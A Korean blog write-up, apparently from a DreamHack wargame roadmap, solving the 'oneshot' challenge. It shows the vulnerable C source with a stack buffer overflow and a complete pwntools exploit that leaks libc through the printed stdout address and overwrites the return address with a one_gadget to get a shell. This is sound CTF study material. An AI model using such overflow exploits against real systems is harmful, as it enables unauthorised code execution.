CIDY
[System_Hacking] stage8_문제풀이(oneshot) 본문
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
// 64-bit, pie, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
문제 이름부터 원가젯을 쓰라고 알려주고 있다. 원가젯 구하는 방법은 one_gadget <라이브러리 경로>인데, 여기서는 그냥 라이브러리를 같은 폴더에 넣어주므로 아래와 같이 찾아주면 된다.
스택을 읽어보면 msg -> dum -> check 순이다. check == 0을 유지해줘야 할 듯 하다. 참고로 size_t의 크기는 8바이트이다.
stdout주소는 그냥 출력해준다. 근데 libc에서
['_IO_2_1_stdout_']
이렇게 찾아줘야 한다.
from pwn import *
p = remote("host3.dreamhack.games", 20375)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
p.recvuntil(b"stdout: 0x")
stdout = int(p.recvn(12), 16)
print(hex(stdout))
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
print(hex(libc_base))
oneshot = libc_base + one_gadget[3]
pay = b"A" * 0x18
pay += p64(0)
pay += b"B" * 0x8
pay += p64(oneshot)
p.send(pay)
p.interactive()
check조심...
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage9_문제풀이(out_of_bound) (0) | 2022.07.03 |
---|---|
[System_Hacking] stage8_문제풀이(hook) (0) | 2022.07.03 |
[System_Hacking] stage8_문제풀이(fho) (0) | 2022.07.03 |
[System_Hacking] stage8_Hook Overwrite (0) | 2022.07.03 |
[System_Hacking] stage7_문제풀이(basic_rop_x86) (0) | 2022.07.02 |